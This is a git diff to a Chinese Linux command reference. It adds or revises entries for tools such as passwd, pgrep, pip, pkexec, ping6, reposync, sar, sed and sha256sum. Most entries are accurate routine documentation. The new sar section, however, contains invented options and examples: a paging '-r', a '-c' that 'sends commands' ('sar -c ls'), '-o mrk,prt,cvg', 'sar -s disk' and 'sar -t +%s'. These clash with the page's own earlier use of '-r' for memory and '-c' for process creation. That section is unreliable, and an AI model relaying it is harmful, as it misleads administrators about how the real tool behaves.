+### 开始滚动更新
+
+```bash
+pacman -Syyu
+```
+
+## 参考资料
+
+- Archlinux 中文维基
diff --git a/command/passwd.md b/command/passwd.md
index 54651890747..a3f8df7368a 100644
--- a/command/passwd.md
+++ b/command/passwd.md
@@ -85,6 +85,15 @@ Retype new UNIX password: # 再输入一次;
passwd: all authentication tokens updated successfully. # 成功;
```
+或通过管道符把`echo`命令和`passwd`命令的`--stdin`参数相结合,用一条命令来完成密码修改,无序交互。
+以 linuxde 用户的密码改成 123456 为例:
+
+```shell
+[root@localhost ~]# echo "123456" | passwd --stdin linuxde
+Changing password for user linuxde. # 正在更改 linuxde 用户的密码。
+passwd: all authentication tokens updated successfully. # passwd:所有身份验证令牌都已成功更新
+```
+
普通用户如果想更改自己的密码,直接运行passwd即可,比如当前操作的用户是linuxde。
```shell
diff --git a/command/pgrep.md b/command/pgrep.md
index c5212e45f80..034dbd95f2d 100644
--- a/command/pgrep.md
+++ b/command/pgrep.md
@@ -16,13 +16,30 @@ pgrep(选项)(参数)
### 选项
```shell
--o:仅显示找到的最小(起始)进程号;
--n:仅显示找到的最大(结束)进程号;
--l:显示进程名称;
--P:指定父进程号;
--g:指定进程组;
--t:指定开启进程的终端;
--u:指定进程的有效用户ID。
+-d, --delimiter :指定输出的分隔符。
+-l, --list-name:列出进程ID和进程名称。
+-a, --list-full:列出进程ID和完整的命令行。
+-v, --inverse:反向匹配,即只显示不匹配的进程。
+-w, --lightweight:列出所有TID(轻量级线程)。
+-c, --count:显示匹配的进程数量。
+-f, --full:使用完整的进程名称进行匹配。
+-g, --pgroup :匹配指定的进程组ID。
+-G, --group :匹配真实组ID。
+-i, --ignore-case:忽略大小写进行匹配。
+-n, --newest:选择最近启动的进程。
+-o, --oldest:选择最早启动的进程。
+-O, --older :选择启动时间早于指定秒数的进程。
+-P, --parent :只匹配给定父进程的子进程。
+-s, --session :匹配会话ID。
+-t, --terminal :根据控制终端进行匹配。
+-u, --euid :根据有效用户ID进行匹配。
+-U, --uid :根据真实用户ID进行匹配。
+-x, --exact:精确匹配进程名称。
+-F, --pidfile :从文件中读取PID。
+-L, --logpidfile:如果PID文件没有锁定,则失败。
+-r, --runstates :匹配运行状态(D, S, Z等)。
+--ns :匹配与指定PID相同命名空间的进程。
+--nslist :列出将在 --ns 选项中考虑的命名空间。可用的命名空间包括:ipc、mnt、net、pid、user、uts。
```
### 参数
@@ -55,6 +72,16 @@ pgrep -lo httpd
4564
4565
4566
+
+[root@localhost ~]# pgrep -x httpd
+4557
+4560
+4561
+4562
+4563
+4564
+4565
+4566
```
diff --git a/command/pidstat.md b/command/pidstat.md
index bb113b9acbf..b10e06e8be3 100644
--- a/command/pidstat.md
+++ b/command/pidstat.md
@@ -70,10 +70,10 @@ pidstat [ 选项 ] [ <时间间隔> ] [ <次数> ]
```
表头字段说明
- PID:进程标识符
-- Minflt/s:任务每秒发生的次要错误,不需要从磁盘中加载页
-- Majflt/s:任务每秒发生的主要错误,需要从磁盘中加载页
+- Minflt/s:任务每秒发生的次要错误,不需要从磁盘中加载内存页
+- Majflt/s:任务每秒发生的主要错误,需要从磁盘中加载内存页
- VSZ:虚拟地址大小,虚拟内存的使用KB
-- RSS:常驻集合大小,非交换区五里内存使用KB
+- RSS:常驻集合大小,非交换区物理内存使用KB
- Command:task命令名
#### 查看所有进程的IO使用情况
diff --git a/command/ping.md b/command/ping.md
index 1163b292f65..0b387e42c7a 100644
--- a/command/ping.md
+++ b/command/ping.md
@@ -1,7 +1,7 @@
ping
===
-测试主机之间网络的连通性
+测试主机之间网络的连通性(ipv4)
## 补充说明
@@ -10,7 +10,7 @@ ping
### 语法
```shell
-ping(选项)(参数)
+ping (选项) (参数)
```
### 选项
diff --git a/command/ping6.md b/command/ping6.md
new file mode 100644
index 00000000000..ee976883476
--- /dev/null
+++ b/command/ping6.md
@@ -0,0 +1,53 @@
+ping6
+===
+
+测试主机之间网络的连通性(ipv6)
+
+## 补充说明
+
+**ping6命令** ping6 是 ICMPv6 版的 ping 实现。正确使用、访问 IPv6 网站需要您提前配置本地环境,选择支持 v6 的网站进行访问(ping)。
+执行 ping6 指令会使用 ICMPv6 传输(OSI)协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。
+
+### 语法
+
+```bash
+ping6 (选项) (地址) [网络接口名称]
+```
+
+### 选项
+
+```bash
+-a [addrtype]: 生成 ICMPv6 节点信息节点地址查询;
+-b [bufsiz]: 设置套接字缓冲区大小;
+-c [count]: 在发送(和接收)ECHO_RESPONSE数据包后停止;
+-h [hoplimit]: 设置 IPv6 跳数限制;
+-I [interface]: 具有给定接口地址的源数据包;
+-i [wait]: 在发送每个数据包之间等待几秒钟,默认是 1 秒;
+-p [policy]: policy 指定要用于探测的 IPsec 策略;
+```
+### 地址
+
+目的主机:指定发送 ICMPv6 报文的目的主机。
+
+### 实例
+
+```bash
+$ ping6 -c4 ipw.cn
+
+PING6(56=40+8+8 bytes) 2409:xxxx:xxxx:85c0::2 --> 2409:8c70:3a00:42:3a::1
+16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=0 hlim=54 time=31.236 ms
+16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=1 hlim=54 time=29.382 ms
+16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=2 hlim=54 time=29.571 ms
+16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=3 hlim=54 time=28.973 ms
+
+--- 66f782g2.slt-dk.sched.tdnsv8.com ping6 statistics ---
+4 packets transmitted, 4 packets received, 0.0% packet loss
+round-trip min/avg/max/std-dev = 28.973/29.791/31.236/0.862 ms
+```
+
+### 服务器 IPv6 Ping 失败可能原因
+
+1. 服务器未开启 IPv6。
+2. 服务器已开启 IPv6,但防火墙(安全组)未对源地址是 IPv6 地址(::/0)的 ICMPv6 协议开放访问,
+
+
diff --git a/command/pip.md b/command/pip.md
new file mode 100644
index 00000000000..a2157fb7582
--- /dev/null
+++ b/command/pip.md
@@ -0,0 +1,181 @@
+pip
+===
+
+Python 编程语言中的包管理器,用于安装和管理第三方 Python 模块
+
+## 语法
+
+```bash
+pip <命令> [选项]
+```
+
+## 选项
+
+命令
+
+```bash
+install 安装包。
+download 下载包。
+uninstall 卸载包。
+freeze 以requirements格式输出已安装的包。
+inspect 检查 Python 环境。
+list 列出已安装的包。
+show 显示有关已安装包的信息。
+check 验证已安装的包是否具有兼容的依赖关系。
+config 管理本地和全局配置。
+search 在 PyPI 搜索包。
+cache 检查和管理 pip 的wheel缓存。
+index 检查从软件包索引中获取的信息。
+wheel 从你的要求构建wheels。
+hash 计算包存档的哈希值。
+completion 用于命令完成的辅助命令。
+debug 显示用于调试的有用信息。
+help 显示命令的帮助信息。
+```
+
+通用选项
+
+```bash
+-h, --help 显示帮助。
+--debug 允许未处理的异常传播到主要子例程之外,而不是将其记录到stderr。
+--isolated 在隔离模式下运行 pip,忽略环境变量和用户配置。
+--require-virtualenv 允许 pip 仅在虚拟环境中运行;否则退出并显示错误。
+--python 使用指定的 Python 解释器运行 pip。
+-v, --verbose 提供更多输出。该选项是可叠加的,最多可使用3次。
+-V, --version 显示版本并退出。
+-q, --quiet 提供更少的输出。该选项是可叠加的,最多可使用3次(对应 WARNING、ERROR 和 CRITICAL 日志级别)。
+--log 要附加日志的路径。
+--no-input 禁用输入提示。
+--keyring-provider
+ 如果允许用户输入,则启用通过 keyring 库进行凭据查找。指定要使用的机制[disabled, import, subprocess]。(默认: disabled)
+--proxy 指定代理,格式为 scheme://[user:passwd@]proxy.server:port。
+--retries 每个连接应尝试的最大次数(默认5次)。
+--timeout 设置套接字超时(默认15秒)。
+--exists-action 当路径已经存在时的默认操作:(s)切换,(i)忽略,(w)擦除,(b)备份,(a)中止。
+--trusted-host 将此主机或主机:端口对标记为可信,即使它没有有效或任何 HTTPS。
+--cert PEM编码的CA证书包的路径。如果提供,将覆盖默认值。有关更多信息,请参阅 pip 文档中的 'SSL证书验证'。
+--client-cert SSL客户端证书的路径,一个包含私钥和PEM格式的证书的单个文件。
+--cache-dir 在 中存储缓存数据。
+--no-cache-dir 禁用缓存。
+--disable-pip-version-check
+ 不定期检查 PyPI 是否有可下载的 pip 新版本。与 --no-index 隐含。
+--no-color 抑制有色输出。
+--no-python-version-warning
+ 对即将不受支持的 Python 沉默弃用警告。
+--use-feature 启用可能不向后兼容的新功能。
+--use-deprecated 启用在将来将被删除的已弃用功能。
+```
+
+### 安装
+
+Pip 是 Python 的包管理工具,通常随着 Python 的安装一起安装。确保你的 Python 版本是 3.4 或更高版本。
+
+```bash
+# Ubuntu系统
+sudo apt install python3-pip
+```
+
+```bash
+# CentOS
+sudo yum install python3-pip
+```
+
+如果需要更新 Pip,可以运行以下命令:
+
+```bash
+python -m pip install --upgrade pip
+```
+
+检查 `pip` 是否已安装
+
+```bash
+pip --version
+```
+
+确保您使用的是最新版本的 `pip`,您可以运行以下命令来**升级**
+
+```bash
+python -m pip install --upgrade pip
+```
+
+## 安装包
+
+通过 Pip 安装 Python 包非常简单。使用以下命令:
+
+```bash
+pip install
+```
+
+例如,安装一个名为 `requests` 的包:
+
+```bash
+pip install requests
+```
+
+## 卸载包
+
+要卸载已安装的包,使用以下命令:
+
+```bash
+pip uninstall package_name
+```
+
+例如,卸载 `requests` 包:
+
+```bash
+pip uninstall requests
+```
+
+## 查看已安装的包
+
+你可以使用以下命令查看当前环境中已安装的所有包及其版本:
+
+```bash
+pip list
+```
+
+## 导出和导入依赖关系
+
+使用 `pip freeze` 命令可以将当前环境中的所有包及其版本导出到一个文本文件,通常命名为 `requirements.txt`:
+
+```bash
+pip freeze > requirements.txt
+```
+
+要在另一个环境中安装相同的依赖,可以使用以下命令:
+
+```bash
+pip install -r requirements.txt
+```
+
+## 安装特定版本的包
+
+如果需要安装特定版本的包,可以在包名后面添加版本号:
+
+```bash
+pip install package_name==1.2.3
+```
+
+## 搜索包
+
+要搜索可用的 Python 包,可以使用 `pip search` 命令:
+
+```bash
+pip search package_name
+```
+
+## 安装开发版本
+
+有时你可能需要安装包的开发版本。通常,开发版本存储在版本控制系统中(如 GitHub):
+
+```bash
+pip install git+https://github.com/user/repo.git
+```
+
+这将安装存储库的最新版本。
+
+以上是一些常用的 Pip 命令,希望这个简要教程能够帮助你更好地使用 Python 包管理工具。
+
+## 官网
+
+更多安装使用方法可以访问官网学习:[https://pypi.org/project/pip/](https://pypi.org/project/pip/)
diff --git a/command/pkexec.md b/command/pkexec.md
new file mode 100644
index 00000000000..ec7ad702fe4
--- /dev/null
+++ b/command/pkexec.md
@@ -0,0 +1,77 @@
+pkexec
+===
+
+以其他用户身份执行命令
+
+## 补充说明
+
+**pkexec** 允许授权用户以另一个用户的身份执行 PROGRAM。如果未指定
+PROGRAM,则将运行默认 shell。如果未指定用户名,则程序将以管理超级用户 root
+的身份执行。
+
+### 语法
+
+```shell
+pkexec [--version] [--disable-internal-agent] [--help]
+pkexec [--keep-cwd] [--user username] PROGRAM [ARGUMENTS...]
+```
+
+### 选项
+
+```shell
+PROGRAM 运行的程序
+ARGUMENTS... 传递给程序的参数
+
+--version 输出版本号然后退出
+--disable-internal-agent 避免将注册自己的文本身份验证代理
+--help 输出帮助文本然后退出
+--keep-cwd 运行位置,默认在 /home//
+--user 需要运行的用户名
+```
+
+### 返回值
+
+成功完成后,返回值为 PROGRAM 的返回值。
+
+- `127`: 在未获得授权或者身份验证发生错误
+- `126`: 用户关闭身份验证对话框而无法获得授权
+
+### 示例
+
+1. 运行具有管理员权限的命令:
+
+```
+pkexec command
+```
+
+将 `command` 替换为你要以管理员权限运行的命令。例如,`pkexec ls` 将以管理员权限运行 `ls` 命令。
+
+2. 以图形界面运行具有管理员权限的命令:
+
+```
+pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY command
+```
+
+这个命令用于在图形界面中运行需要管理员权限的命令。将 `command` 替换为你要以管理员权限运行的命令。
+
+3. 运行具有特定身份验证代理的命令:
+
+```
+pkexec --user username command
+```
+
+将 `username` 替换为你要作为哪个用户运行命令的用户名,将 `command` 替换为你要运行的命令。
+
+4. 查看 `pkexec` 的帮助信息:
+
+```
+pkexec --help
+```
+
+这个命令将显示 `pkexec` 的使用说明和选项列表。
+
+请注意,使用 `pkexec` 运行命令时,系统会提示你输入管理员密码进行身份验证。确保只在必要时使用 `pkexec` 来运行需要管理员权限的命令,并小心谨慎地处理管理员权限。
+
+### 参考资料
+
+- https://man.archlinux.org/man/pkexec.1.en
diff --git a/command/prtstat.md b/command/prtstat.md
new file mode 100644
index 00000000000..daca42fc63b
--- /dev/null
+++ b/command/prtstat.md
@@ -0,0 +1,51 @@
+prtstat
+===
+
+显示进程信息
+
+## 补充说明
+
+**prtstat命令**打印指定进程的统计信息。这个信息来自/proc/PID/stat文件。
+
+## 语法
+
+```shell
+prtstat [-r|--raw] pid
+prtstat -V|--version
+```
+
+## 例子
+
+```shell
+[root@localhost command]# ps -ef|grep nginx
+root 4022 250867 0 16:39 pts/1 00:00:00 grep --color=auto nginx
+root 224312 1 0 4月26 ? 00:00:00 nginx: master process /var/openresty/nginx/sbin/nginx
+nobody 224313 224312 0 4月26 ? 00:00:00 nginx: worker process
+[root@localhost command]# prtstat -r 224312
+ pid: 224312 comm: nginx
+ state: S ppid: 1
+ pgrp: 224312 session: 224312
+ tty_nr: 0 tpgid: -1
+ flags: 402040 minflt: 110
+ cminflt: 0 majflt: 0
+ cmajflt: 0 utime: 0
+ stime: 0 cutime: 0
+ cstime: 0 priority: 20
+ nice: 0 num_threads: 1
+ itrealvalue: 0 starttime: 6271470
+ vsize: 56369152 rss: 413
+ rsslim: 18446744073709551615 startcode: 4194304
+ endcode: 5772276 startstack: 140722783765648
+ kstkesp: 7FFC9389BFB8 kstkeip: 7F25CD42F6C6
+ wchan: 18446744071885754297 nswap: 0
+ cnswap: 18446744071885754297 exit_signal: 17
+ processor: 2 rt_priority: 0
+ policy: 0 delayaccr_blkio_ticks: 0
+ guest_time: 0 cguest_time: 0
+```
+
+### 注意
+
+1. `prtstat`命令来自于psmisc包。此包来自于base源仓库。
+2. psmisc.x86_64 : 用于管理系统上进程的实用程序
+
diff --git a/command/pwck.md b/command/pwck.md
index ec273e578a9..31c0fb2ee52 100644
--- a/command/pwck.md
+++ b/command/pwck.md
@@ -18,7 +18,8 @@ pwck(选项)(参数)
```shell
-q:仅报告错误信息;
-s:以用户id排序文件“/etc/passwd”和“/etc/shadow”;
--r:只读方式运行指令。
+-r:只读方式运行指令;
+-R:在指定的chroot环境下检查密码文件。
```
### 参数
@@ -29,24 +30,18 @@ pwck(选项)(参数)
### 实例
```shell
-pwck /etc/passwd
-user 'lp': directory '/var/spool/lpd' does not exist
-user 'news': directory '/var/spool/news' does not exist
-user 'uucp': directory '/var/spool/uucp' does not exist
-user 'www-data': directory '/var/www' does not exist
-user 'list': directory '/var/list' does not exist
-user 'irc': directory '/var/run/ircd' does not exist
-user 'gnats': directory '/var/lib/gnats' does not exist
-user 'nobody': directory '/nonexistent' does not exist
-user 'syslog': directory '/home/syslog' does not exist
-user 'couchdb': directory '/var/lib/couchdb' does not exist
-user 'speech-dispatcher': directory '/var/run/speech-dispatcher' does not exist
-user 'usbmux': directory '/home/usbmux' does not exist
-user 'haldaemon': directory '/var/run/hald' does not exist
-user 'pulse': directory '/var/run/pulse' does not exist
-user 'saned': directory '/home/saned' does not exist
-user 'hplip': directory '/var/run/hplip' does not exist
-pwck:无改变
+pwck
+user 'ftp': directory '/var/ftp' does not exist
+pwck: no changes
```
+执行`pwck`命令后显示了一些警告,提示有用户`lp`的主目录 `/var/spool/lpd`不存在。为了解决这个问题,你有几个选项:
+1. 如果你确定这些用户不会被使用,你可以考虑使用`userdel`命令来删除这些用户。
+2. 如果这些用户需要被使用,你应该创建相应的目录。例如,你可以使用以下命令:
-
+```shell
+# 创建目录
+sudo mkdir /var/ftp
+# 将目录的所有权赋给相应的用户
+sudo chown ftp:ftp /var/ftp
+```
+3. 如果这些用户对应的软件包还未安装,你可以考虑安装它们。软件包管理器(如`yum`或`apt`)通常会自动创建必要的用户和目录。
diff --git a/command/pwdx.md b/command/pwdx.md
new file mode 100644
index 00000000000..c0eeb3cc97d
--- /dev/null
+++ b/command/pwdx.md
@@ -0,0 +1,61 @@
+pwdx
+===
+
+用于显示指定进程的当前工作目录
+
+## 内建命令
+
+
+### 概要
+
+```shell
+pwdx [进程ID]
+```
+
+### 参数说明
+
+- `进程ID`:要查询的进程ID,可以使用 `ps` 命令查看。
+
+## 示例
+
+
+下面示例中,使用 `ps` 命令查看 `nginx` 进程的信息,然后使用 `pwdx` 命令查询进程ID为 `5678` 的进程的当前工作目录。
+
+```bash
+$ ps -ef | grep nginx
+# root 1234 1 0 10:00 ? 00:00:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
+# www-data 5678 1234 0 10:01 ? 00:00:00 nginx: worker process
+
+$ pwdx 5678
+# 5678: /var/www/html
+```
+
+查看当前进程的工作目录:
+
+```bash
+$ pwdx $$
+```
+
+查看指定进程的工作目录:
+
+```bash
+$ pwdx 1234
+```
+
+批量查看多个进程的工作目录:
+
+```bash
+$ ps aux | awk '{print $2}' | xargs pwdx
+```
+
+结合其他命令,查看某个进程的工作目录和命令行:
+
+```bash
+$ ps -p 1234 -o cmd | tail -n 1 | awk '{print $1}' | xargs pwdx
+```
+
+查看所有进程的工作目录:
+
+```bash
+$ ps -eo pid | xargs pwdx
+```
\ No newline at end of file
diff --git a/command/reposync.md b/command/reposync.md
new file mode 100644
index 00000000000..71fb087f937
--- /dev/null
+++ b/command/reposync.md
@@ -0,0 +1,100 @@
+reposync
+===
+
+同步yum存储库到本地目录
+
+## 概要
+
+```shell
+reposync [选项]
+```
+
+## 主要用途
+
+reposync用于将远程yum存储库同步到本地目录,使用yum检索包。
+
+## 选项
+
+```shell
+-h, --help
+# 显示帮助信息
+
+-c CONFIG, --config=CONFIG
+# 指定配置文件(默认为/etc/yum.conf)
+
+-a ARCH, --arch=ARCH
+# 指定arch
+
+--source
+# 同时下载src和rpm文件.
+
+-r REPOID, --repoid=REPOID
+# 指定要查询的repo id,可以指定多次(默认为全部启用)。
+
+-e CACHEDIR, --cachedir CACHEDIR
+# 存储元数据的目录。
+
+-t, --tempcache
+# 使用临时目录存储/访问yum-cache。
+
+-d, --delete
+# 删除存储库中不再存在的本地包。
+
+-p DESTDIR, --download_path=DESTDIR
+# 指定下载路径:默认为当前目录。
+
+--norepopath
+# 不要将重命名添加到下载路径中。只能在同步单个存储库时使用(默认是添加重命名)。
+
+-g, --gpgcheck
+# 下载后删除GPG签名检查失败的包。如果至少有一个包被删除,退出状态为“1”。
+
+-u, --urls
+# 只列出要下载的内容的url,不要下载。
+
+-l, --plugins
+# 启用yum插件支持。
+
+-m, --downloadcomps
+# 同时下载comps.xml。
+
+--download-metadata
+# 下载所有非默认元数据。
+
+-n, --newest-only
+# 每个repo只下载最新的包。
+
+-q, --quiet
+# 输出尽可能少的信息。
+
+--allow-path-traversal
+# 允许同步存储在repo目录之外的包。这些包是在元数据中通过使用绝对路径或上一级“..”系统引用的并且出于安全原因通常会在reposync中跳过。
+# 注意:使用此选项有潜在的安全隐患,因为通过提供恶意repodata,攻击者可以使reposync写入任意位置运行该文件系统的用户可以访问的文件系统。
+```
+
+## 例子
+
+```shell
+# 将'updates'仓库中的所有包同步到当前目录:
+reposync --repoid=updates
+
+# 只同步最新的包从'updates'仓库到当前目录:
+reposync -n --repoid=updates
+
+# 将'updates'和'extras'仓库中的包同步到当前目录:
+reposync --repoid=updates --repoid=extras
+
+# 将'updates'仓库中的所有包同步到repos目录:
+reposync -p repos --repoid=updates
+
+# 将'updates'仓库中的所有包同步到repos目录,排除x86_64架构文件。编辑/etc/yum.conf,添加选项exclude=*.x86_64。再执行:
+reposync -p repos --repoid=updates
+```
+
+## 文件
+
+reposync使用yum库来检索信息和包。如果没有指定配置文件,将使用默认的yum配置。
+
+* /etc/yum.conf
+* /etc/yum/repos.d/
+
diff --git a/command/rm.md b/command/rm.md
index f0198cbdb5e..c628cd54f12 100644
--- a/command/rm.md
+++ b/command/rm.md
@@ -127,7 +127,7 @@ rm -I file1 file2 file3
> 然而,如果你非得完成这个操作,你需要使用 --no-preserve-root 选项。当提供此选项,rm 就不会特殊处理根目录(/)了。
```shell
-不给实例了,操作系统都被你删除了,你太坏了😆
+不给示例了,操作系统都被你删除了,你太坏了😆
```
**rm 显示当前删除操作的详情**
diff --git a/command/route.md b/command/route.md
index 2d462d9c817..9efeb6df712 100644
--- a/command/route.md
+++ b/command/route.md
@@ -30,9 +30,9 @@ route(选项)(参数)
### 参数
```shell
-Add:增加指定的路由记录;
-Del:删除指定的路由记录;
-Target:目的网络或目的主机;
+add:增加指定的路由记录;
+del:删除指定的路由记录;
+target:目的网络或目的主机;
gw:设置默认网关;
mss:设置TCP的最大区块长度(MSS),单位MB;
window:指定通过路由表的TCP连接的TCP窗口大小;
diff --git a/command/rsync.md b/command/rsync.md
index 9132b1ecb35..669ca60caa6 100644
--- a/command/rsync.md
+++ b/command/rsync.md
@@ -51,7 +51,7 @@ rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]
-D, --devices 保持设备文件信息。
-t, --times 保持文件时间信息。
-S, --sparse 对稀疏文件进行特殊处理以节省DST的空间。
--n, --dry-run现实哪些文件将被传输。
+-n, --dry-run 显示哪些文件将被传输。
-w, --whole-file 拷贝文件,不进行增量检测。
-x, --one-file-system 不要跨越文件系统边界。
-B, --block-size=SIZE 检验算法使用的块尺寸,默认是700字节。
diff --git a/command/sar.md b/command/sar.md
index bcee24f3558..fe73f3738b8 100644
--- a/command/sar.md
+++ b/command/sar.md
@@ -16,20 +16,29 @@ sar(选项)(参数)
### 选项
```shell
--A:显示所有的报告信息;
--b:显示I/O速率;
--B:显示换页状态;
--c:显示进程创建活动;
--d:显示每个块设备的状态;
--e:设置显示报告的结束时间;
--f:从指定文件提取报告;
--i:设状态信息刷新的间隔时间;
--P:报告每个CPU的状态;
--R:显示内存状态;
--u:显示CPU利用率;
--v:显示索引节点,文件和其他内核表的状态;
--w:显示交换分区状态;
--x:显示给定进程的状态。
+-A: 显示所有的报告信息;
+-b: 显示I/O速率;
+-B: 显示换页状态;
+-c: 显示进程创建活动;
+-d: 显示每个块设备的状态;
+-e: 设置显示报告的结束时间;
+-f: 从指定文件提取报告;
+-i: 设状态信息刷新的间隔时间;
+-n: 报告网络统计信息。
+-P: 报告每个CPU的状态;
+-R: 显示内存状态;
+-u: 显示CPU利用率;
+-v: 显示索引节点,文件和其他内核表的状态;
+-w: 显示交换分区状态;
+-x: 显示给定进程的状态。
+```
+
+```shell
+-r: 以分页方式显示输出,每页最多显示 100 行。
+-o: 输出选项,指定要显示的列。例如,`-o mrk,prt,cvg` 将显示 CPU 使用率、进程标识符、磁盘使用率 和 网络流量。
+-t: 时间戳选项,指定要在输出中添加时间戳。
+-s: 统计选项,指定要显示的统计数据的类型。例如,`-s us,ms` 将显示 CPU 使用率的 us 和 ms 时间段的平均值。
+-c: 选项用于指定要发送的命令。例如,`-c ls` 将显示当前目录中的文件和子目录列表。
```
### 参数
@@ -39,7 +48,7 @@ sar(选项)(参数)
### 实例
- **察看内存和交换空间的使用率:**
+**察看内存和交换空间的使用率:**
```shell
sar -r
@@ -59,10 +68,48 @@ Average: 324346 964374 74.83
kbmemfree与kbmemused字段分别显示内存的未使用与已使用空间,后面跟着的是已使用空间的百分比(%memused字段)。kbbuffers与kbcached字段分别显示缓冲区与系统全域的数据存取量,单位为KB。
- **观察系统部件10分钟,并对数据进行排序:**
+**观察系统部件10分钟,并对数据进行排序:**
```shell
sar -o temp 60 10
```
+**显示保存在每日数据文件“sa16”中的内存和网络统计信息。**
+
+```shell
+sar -r -n DEV -f /var/log/sa/sa16
+```
+
+**查看 CPU 使用率:**
+
+```shell
+sar -t
+```
+
+**查看磁盘使用率:**
+
+```shell
+sar -s disk
+```
+
+**查看网络流量:**
+
+```shell
+sar -s nic
+```
+
+**发送命令到系统服务:**
+
+```shell
+sar -c ls
+```
+
+**显示系统当前时间戳:**
+
+```shell
+sar -t +%s
+```
+
+这些只是 `sar` 命令的一些示例,您可以根据具体需求选择不同的选项和参数。
+注意: `sar` 命令的输出结果可能会因为系统性能的不同而有所不同。如果要获得更准确的结果,请考虑在系统性能最佳的时候进行监控。
\ No newline at end of file
diff --git a/command/sed.md b/command/sed.md
index 949cde4b185..416c271f25e 100644
--- a/command/sed.md
+++ b/command/sed.md
@@ -172,9 +172,10 @@ sed '2,$d' file
sed '$d' file
```
-删除文件中所有开头是test的行:
+删除文件中所有开头是test的行(d写外边效果一样):
```shell
+sed '/^test/d' file
sed '/^test/'d file
```
@@ -223,6 +224,7 @@ ifconfig ens32 | sed -n '/inet /p' | sed 's/inet \([0-9.]\+\).*/\1/'
```
### 大小写转换U/L
+
```shell
\u: 首字母转换为大写
\U: 全部转换为大写
@@ -250,14 +252,26 @@ BIN:x:1:1:bin:/bin:/sbin/nologin
### 组合多个表达式
+1. 替换文本中的多个字符串:
+
```shell
-sed '表达式' | sed '表达式'
+sed -e 's/old_string/new_string/g' -e 's/another_old_string/another_new_string/g' file.txt
+```
-等价于:
+2. 删除文本中的多个行:
-sed '表达式; 表达式'
+```shell
+sed -e '1d' -e '/pattern/d' file.txt
```
+3. 在文本中插入多个行:
+
+```shell
+sed -e '1i\inserted_line1' -e '2i\inserted_line2' file.txt
+```
+
+其中,-e 表示指定一个表达式,多个表达式之间用 -e 分隔。每个表达式可以是一个 sed 命令,例如 s、d、i 等。
+
### 引用
sed表达式可以使用单引号来引用,但是如果表达式内部包含变量字符串,就需要使用双引号。
diff --git a/command/sftp.md b/command/sftp.md
index dfa476f13fb..07ea755792b 100644
--- a/command/sftp.md
+++ b/command/sftp.md
@@ -35,7 +35,7 @@ sftp(选项)(参数)
建立联接
```shell
-$ sfpt username@1.1.1.1 # 回车输入密码
+$ sftp username@1.1.1.1 # 回车输入密码
```
获取文件下载到指定路径
diff --git a/command/sh.md b/command/sh.md
index 5d843c41488..6983e2c3ea2 100644
--- a/command/sh.md
+++ b/command/sh.md
@@ -7,13 +7,13 @@ shell命令解释器
**sh命令** 是shell命令语言解释器,执行命令从标准输入读取或从一个文件中读取。通过用户输入命令,和内核进行沟通!Bourne Again Shell (即bash)是自由软件基金会(GNU)开发的一个Shell,它是Linux系统中一个默认的Shell。Bash不但与Bourne Shell兼容,还继承了C Shell、Korn Shell等优点。
-### 语法
+### 语法
```shell
bash [options] [file]
```
-### 选项
+### 选项
```shell
-c string:命令从-c后的字符串读取。
diff --git a/command/sha256sum.md b/command/sha256sum.md
new file mode 100644
index 00000000000..eb8fd81725b
--- /dev/null
+++ b/command/sha256sum.md
@@ -0,0 +1,62 @@
+sha256sum
+===
+
+用于计算文件的 SHA-256 哈希值
+
+## 补充说明
+
+**sha256sum命令** 是打印或检查 SHA256(256位)校验
+
+### 语法
+
+```shell
+sha256sum [OPTION]... [FILE]...
+```
+
+### 选项
+
+```shell
+-b, --binary # 以二进制模式读取
+-c, --check # 从文件中读取 SHA256 校验和并进行检查
+ --tag # 创建 BSD 风格的校验和
+-t, --text # 以文本模式读取(默认)
+-z, --zero # 每行输出以 NUL 结尾,而不是换行符,并禁用文件名转义
+ --help # 显示此帮助并退出
+ --version # 输出版本信息并退出
+```
+
+### 实例
+
+以下是一些使用 sha256sum 命令的示例:
+
+1. 计算文件的 SHA-256 哈希值
+
+```
+sha256sum file.txt
+```
+
+这将会输出文件 file.txt 的 SHA-256 哈希值和文件名。
+
+2. 计算多个文件的 SHA-256 哈希值
+
+```
+sha256sum file1.txt file2.txt
+```
+
+这将会输出文件 file1.txt 和 file2.txt 的 SHA-256 哈希值和文件名。
+
+3. 将 SHA-256 哈希值保存到文件中
+
+```
+sha256sum file.txt > hash.txt
+```
+
+这将会将文件 file.txt 的 SHA-256 哈希值保存到文件 hash.txt 中。
+
+4. 验证文件的 SHA-256 哈希值
+
+```
+sha256sum -c hash.txt
+```
+
+这将会验证文件的 SHA-256 哈希值是否与 hash.txt 中的值匹配。如果匹配,输出 OK,否则输出 FAILED。
\ No newline at end of file
diff --git a/command/shopt.md b/command/shopt.md
index 6ead7cdde4f..770ef26ebc1 100644
--- a/command/shopt.md
+++ b/command/shopt.md
@@ -30,16 +30,55 @@ shell选项:指定要操作的shell选项。
```shell
shopt #输出所有可以设置的shell操作选项
-cdable_vars off
-cdspell off
-checkhash off
-checkwinsize on
-cmdhist on
-dotglob off
-execfail off
-expand_aliases on
-extdebug off
-...
+autocd off
+cdable_vars off
+cdspell off
+checkhash off
+checkjobs off
+checkwinsize on
+cmdhist on
+compat31 off
+compat32 off
+compat40 off
+compat41 off
+compat42 off
+compat43 off
+complete_fullquote on
+direxpand off
+dirspell off
+dotglob off
+execfail off
+expand_aliases on
+extdebug off
+extglob off
+extquote on
+failglob off
+force_fignore on
+globasciiranges off
+globstar off
+gnu_errfmt off
+histappend on
+histreedit off
+histverify off
+hostcomplete on
+huponexit off
+inherit_errexit off
+interactive_comments on
+lastpipe off
+lithist off
+login_shell on
+mailwarn off
+no_empty_cmd_completion off
+nocaseglob off
+nocasematch off
+nullglob off
+progcomp on
+promptvars on
+restricted_shell off
+shift_verbose off
+sourcepath on
+syslog_history off
+xpg_echo off
```
如图上所示,选项"cdspell"的状态为"off",即关闭cd拼写检查选项。现在,可以使用shopt命令将其开启,输入如下命令:
diff --git a/command/sleep.md b/command/sleep.md
index 6709eeed73e..0310b2353dc 100644
--- a/command/sleep.md
+++ b/command/sleep.md
@@ -15,9 +15,13 @@ sleep(参数)
### 参数
-时间:指定要暂停时间的长度。
